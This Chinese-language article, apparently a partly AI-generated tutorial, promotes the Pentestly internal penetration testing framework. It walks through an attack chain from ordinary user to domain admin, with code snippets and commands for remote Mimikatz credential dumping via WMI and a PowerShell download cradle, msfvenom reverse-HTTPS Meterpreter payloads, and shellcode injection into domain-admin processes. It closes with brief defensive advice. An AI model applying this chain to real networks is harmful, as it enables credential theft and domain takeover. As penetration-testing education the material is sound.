从普通用户到域管Pentestly完整攻击链构建与实战案例分析【免费下载链接】pentestlyPython and Powershell internal penetration testing framework项目地址: https://gitcode.com/gh_mirrors/pe/pentestly在企业内网渗透测试中如何高效利用现有工具实现从普通用户权限到域管理员权限的突破Pentestly作为一款基于Python和PowerShell的内网渗透测试框架通过模块化设计和自动化攻击流程为安全测试人员提供了从信息收集到权限提升的完整解决方案。本文将详细解析Pentestly的核心功能模块通过实战案例演示如何构建完整攻击链帮助安全从业者掌握内网渗透的关键技术与最佳实践。 初识Pentestly企业内网渗透的瑞士军刀Pentestly框架Python and Powershell internal penetration testing framework专为企业内网环境设计集成了域渗透常用的攻击模块与自动化工具链。其核心优势在于模块化架构将渗透测试流程拆解为独立功能模块涵盖凭证获取、权限提升、横向移动等关键环节自动化工作流通过数据库记录测试状态自动筛选有效凭证并执行后续攻击PowerShell集成内置多种PowerShell攻击脚本支持无文件攻击与内存执行框架主要目录结构如下核心模块modules/pentestly/ - 包含域渗透核心功能实现辅助脚本scripts/ - 集成Invoke-Mimikatz等常用攻击脚本配置文件data/ - 存储攻击载荷与状态标识文件 攻击链构建第一步信息收集与凭证获取枚举网络共享资源内网渗透的起点通常是寻找可访问的网络资源。Pentestly的enumshares.py模块通过SMB协议扫描目标主机的共享目录识别敏感文件存储位置# 核心功能示意 def module_run(self, hosts): for host in hosts: shares self.smb_enum_shares(host) for share in shares: if admin in share[name].lower(): self.alert(f发现管理员共享: {host}\\{share[name]})凭证获取的终极武器Mimikatz执行获取凭证是内网渗透的关键环节。mimikatz.py模块通过WMI远程执行PowerShell脚本从目标系统内存中提取凭证# 核心执行流程 command self.powershell_download( script_urlurl, argsInvoke-Mimikatz -DumpCreds, post_urlself.hosting_server ) result self.wmi_execute(username, password, domain, host, command) mimikatz_results parse_mimikatz(result)该模块会自动检查提取的凭证是否属于域管理员并在发现高权限凭证时触发告警if cred[1] in domain_admins: self.print_badge() # 显示警告标识 msg Colors.red - DOMAIN ADMIN! Colors.none access domain admin 横向移动构建内网跳板网络命令执行模块的灵活应用获得初始访问权限后execute_command.py模块允许在目标系统上执行任意命令为横向移动铺路# 命令执行核心代码 result self.wmi_execute( username, password, domain, host, command, get_resultsget_results )该模块支持按用户名、主机或域筛选目标实现精准打击。通过执行系统信息收集命令如systeminfo、tasklist可快速评估目标系统价值。Meterpreter内存马注入对于需要持久化控制的目标meterpreter.py模块通过msfvenom生成内存马实现无文件攻击# 生成32位和64位meterpreter载荷 for arch,cmd in [ (32, /root/metasploit/msfvenom -p windows/meterpreter/reverse_https ...), (64, /root/metasploit/msfvenom -p windows/x64/meterpreter/reverse_https ...) ]: subprocess.check_output(cmd, shellTrue) 域管理员权限获取与维持检测域管登录状态domain_admin_loggedin.py模块通过查询远程系统进程检测是否有域管理员当前登录domain_admins self.get_domain_admins() for host in hosts: processes self.wmi_get_processes(host) for process in processes: curr_user process[username].lower() if curr_user in domain_admins: self.alert(f域管理员 {curr_user} 正在 {host} 上登录)域管进程注入与权限接管当检测到域管理员活动会话时domain_admin_processes.py可尝试注入其进程实现权限窃取# 筛选域管理员进程 for process in processes: curr_user process[username].lower() if curr_user not in domain_admins: continue # 对高权限进程执行注入 self.inject_shellcode(process[pid]) 实战案例从普通用户到域管的4步渗透案例背景某企业内网环境已获得一台工作站普通用户权限目标获取域管理员权限。攻击流程信息收集阶段python pentestly -m pentestly/enumshares通过枚举发现财务服务器开放C$共享包含员工工资表。凭证获取阶段python pentestly -m pentestly/mimikatz --Internet True从工作站内存中提取到域用户john的凭证权限级别为普通用户。横向移动阶段python pentestly -m pentestly/execute_command --host finance01 --command tasklist /v发现财务服务器上有域管理员admin的进程活跃。权限提升阶段python pentestly -m pentestly/domain_admin_processes --host finance01注入域管理员进程获取高权限shell完成整个攻击链。️ 防御建议构建内网安全防线针对Pentestly框架揭示的攻击向量企业应采取以下防御措施凭证安全启用LSA保护RunAsPPL防止内存凭证提取实施密码轮换策略使用复杂密码横向移动防护限制管理员账号的登录范围启用Windows防火墙限制不必要的WMI访问检测机制监控异常PowerShell执行行为建立进程注入检测规则安全意识定期开展内网安全培训实施最小权限原则 总结与展望Pentestly框架通过整合多种内网渗透技术为安全测试人员提供了高效的攻击链构建工具。其模块化设计不仅降低了内网渗透的技术门槛也为安全防御方提供了清晰的防护目标。在实际渗透测试中建议结合目标环境特点灵活调整攻击策略同时遵守法律法规与道德准则。随着防御技术的不断发展内网渗透工具也在持续进化。Pentestly后续可能会增加对新型攻击技术如ADCS攻击、Exchange漏洞利用的支持值得安全从业者持续关注。 扩展资源框架安装脚本install.sh依赖需求清单REQUIREMENTSPowerShell攻击脚本集scripts/【免费下载链接】pentestlyPython and Powershell internal penetration testing framework项目地址: https://gitcode.com/gh_mirrors/pe/pentestly创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考